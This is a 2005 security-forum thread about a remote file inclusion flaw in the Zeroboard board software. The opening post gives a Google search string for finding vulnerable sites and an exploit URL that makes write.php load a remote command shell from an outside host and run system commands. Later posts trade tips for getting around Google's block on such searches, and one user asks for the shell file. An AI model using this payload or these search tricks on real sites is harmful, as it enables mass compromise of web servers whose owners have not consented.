Login or Register :: Home :: Search :: Your Account :: Forums :: Waraxe Advisories :: Tools :: July 27, 2024 Menu Home Logout Discussions Forums Members List IRC chat Tools Base64 coder MD5 hash CRC32 checksum ROT13 coder SHA-1 hash URL-decoder Sql Char Encoder Affiliates y3dips ITsec Md5 Cracker User Manuals AlbumNow Content Content Sections FAQ Top Info Feedback Recommend Us Search Journal Your Account User Info Welcome, Anonymous Nickname Password (Register) Membership: Latest: MichaelSnaRe New Today: 0 New Yesterday: 0 Overall: 9144 People Online: Visitors: 231 Members: 0 Total: 231 Full disclosure CyberDanube Security Research 20240722-0 | Multiple Vulnerabilities in Perten/PerkinElmer ProcessPlus [KIS-2024-06] XenForo <= 2.2.15 (Template System) Remote Code Execution Vulnerability [KIS-2024-05] XenForo <= 2.2.15 (Widget::actionSave) Cross-Site Request Forgery Vulnerability CVE-2024-33326 CVE-2024-33327 CVE-2024-33328 CVE-2024-33329 CyberDanube Security Research 20240703-0 | Authenticated Command Injection in Helmholz Industrial Router REX100 SEC Consult SA-20240627-0 :: Local Privilege Escalation via MSI installer in SoftMaker Office / FreeOffice SEC Consult SA-20240626-0 :: Multiple Vulnerabilities in Siemens Power Automation Products Novel DoS Vulnerability Affecting WebRTC Media Servers APPLE-SA-06-25-2024-1 AirPods Firmware Update 6A326, AirPods Firmware Update 6F8, and Beats Firmware Update 6F8 40 vulnerabilities in Toshiba Multi-Function Printers 17 vulnerabilities in Sharp Multi-Function Printers SEC Consult SA-20240624-0 :: Multiple Vulnerabilities allowing complete bypass in Faronics WINSelect (Standard + Enterprise) IT Security and Insecurity Portal www.waraxe.us Forum Index -> Remote file inclusion -> remote file inclusion in Zeroboard View previous topic :: View next topic remote file inclusion in Zeroboard Posted: Wed Jan 19, 2005 6:29 am LINUX Moderator Joined: May 24, 2004 Posts: 404 Location: Caiman for test this bug you use google allinurl: /zboard/zboard.php vulnerable file write.php [include $dir."/write.php";] Real life exploit http://victim.com/dir/write.php?dir=REMOTESHELL remote shell xD > http://mx.geocities.com/razorkron/cmd.txt?&cmd=uname -a;pwd;id is very easy, remember 90% Zeroboard in KOREA Posted: Wed Jan 19, 2005 2:37 pm SteX Advanced user Joined: May 18, 2004 Posts: 181 Location: Serbia Google is blocking allinurl: /zboard/zboard.php Quote: Google Error We're sorry... ... but we can't process your request right now. A computer virus or spyware application is sending us automated requests, and it appears that your computer or network has been infected. We'll restore your access as quickly as possible, so try again soon. In the meantime, you might want to run a virus checker or spyware remover to make sure that your computer is free of viruses and other spurious software. We apologize for the inconvenience, and hope we'll see you again on Google. _________________ We would change the world, but God won't give us the sourcecode... ....Watch the master. Follow the master. Be the master.... ------------------------------------------------------- Posted: Thu Jan 20, 2005 12:42 am LINUX Moderator Joined: May 24, 2004 Posts: 404 Location: Caiman SteX wrote: Google is blocking allinurl: /zboard/zboard.php Quote: Google Error We're sorry... ... but we can't process your request right now. A computer virus or spyware application is sending us automated requests, and it appears that your computer or network has been infected. We'll restore your access as quickly as possible, so try again soon. In the meantime, you might want to run a virus checker or spyware remover to make sure that your computer is free of viruses and other spurious software. We apologize for the inconvenience, and hope we'll see you again on Google. haha yes Stex , you use other web search altavista.com Google block all inurl searches Posted: Fri Feb 04, 2005 4:33 am Lostmon Regular user Joined: Jul 24, 2004 Posts: 6 Location: spain Hello ! yes this is realy google blocks all 'inurl' searches. After a worm virus like santy.a or skypi.a or variants google put a filter in the search engine and this filter block all of this search. Recenment i publish two articles whith some details more but is in spanish if you like to look http://lostmon.blogspot.com/2005/01/google-bloquea-la-busqueda-de-archivos.html and a PoC for exploting this circunstance: http://lostmon.spymac.net/blog/ jus jus juas And what say the error ? you are infected by a spyware or virus ?? this is realy or only is a momentany lapsus of reason ???? _________________ -- La curiosidad es lo que hace mover la mente Re: Google block all inurl searches Posted: Sat Feb 05, 2005 2:32 am LINUX Moderator Joined: May 24, 2004 Posts: 404 Location: Caiman Lostmon wrote: Hello ! yes this is realy google blocks all 'inurl' searches. After a worm virus like santy.a or skypi.a or variants google put a filter in the search engine and this filter block all of this search. Recenment i publish two articles whith some details more but is in spanish if you like to look http://lostmon.blogspot.com/2005/01/google-bloquea-la-busqueda-de-archivos.html and a PoC for exploting this circunstance: http://lostmon.spymac.net/blog/ jus jus juas And what say the error ? you are infected by a spyware or virus ?? this is realy or only is a momentany lapsus of reason ???? xD not is:spyware,virus trojan and nothing. Google for months this blocking all type of search with aims Script kiddies search .because of scripts kiddies no longer I can work calm solution not search in google Posted: Sat Feb 05, 2005 3:44 pm Lostmon Regular user Joined: Jul 24, 2004 Posts: 6 Location: spain Yes i know men that is not a spyware or virus .. but is a generc mesage ... if for that was i write the PoC for this situation and write to Google for asking what are they make whith this searches. i publish python script , for two reasons 1 i think this is a exploitable situation 2 for google looks the potential use of this news filters . _________________ -- La curiosidad es lo que hace mover la mente Re: Google block all inurl searches Posted: Mon Feb 07, 2005 9:14 am BioHunter Beginner Joined: Jan 12, 2005 Posts: 1 argentino wrote: solution not search in google l00l I have a better solution for you...instead of searching with a diffrent web search... search a diffrent way.. http://www.google.com/search?q=%22Copyright+1999-2005+Zeroboard%22&hl=en&lr=&start=0&sa=N Here is how... Posted: Mon Mar 07, 2005 4:37 am y3dips Valuable expert Joined: Feb 25, 2005 Posts: 281 Location: Indonesia Try to combine the letter/char , coz google dont use case sensitive, in contrary they just block the letter not in all form of character (case sensitif) try search " fly " n "FlY" ? n see the different it helps when im using my script to search viewtopic.php Posted: Mon Jul 04, 2005 2:42 pm ics Beginner Joined: Jul 04, 2005 Posts: 1 Can anyone post the CMD.TXT file ? remote file inclusion in Zeroboard www.waraxe.us Forum Index -> Remote file inclusion You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum All times are GMT Page 1 of 1 All Posts1 Day7 Days2 Weeks1 Month3 Months6 Months1 YearOldest FirstNewest First Select a forumSecurity Research by waraxe----------------General discussionHow to fixMetasploit relatedHash cracking requests----------------MD5 hashesAll other hashesHash related informationhttp://www.waraxe.us portal----------------SuggestionsCooperation proposalsSecurity bugs and issues in general----------------Newbies cornerSql injectionCross-site scripting aka XSSRemote file inclusionFull path disclosureShell commands injectionPhishing and Social EngineeringAll other security holesVarious software----------------PhpNukePostNukePhpBBXMB forumvBulletin BoardInvision Power Boarde107MamboJoomlaXOOPSM$ WindowsLinux worldAll other softwareCoppermine Photo GalleryProgramming languages----------------PhpMySqlPerlJavaJavascriptC and C++Visual BasicBorland Delphi and PascalPythonHTML and XMLAssemblerReverse engineering----------------Newbies cornerDisassemblingPHP script decode requestsMiscellaneous stuff----------------Future of the ITNanotechnologyFun cornerLinksTry2hack sitesProxy databaseDirect Downloads----------------ToolsTutorialsWordlistsRecycle Bin----------------Removed messagesOutdated posts Powered by phpBB © 2001-2008 phpBB Group

Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.231 Seconds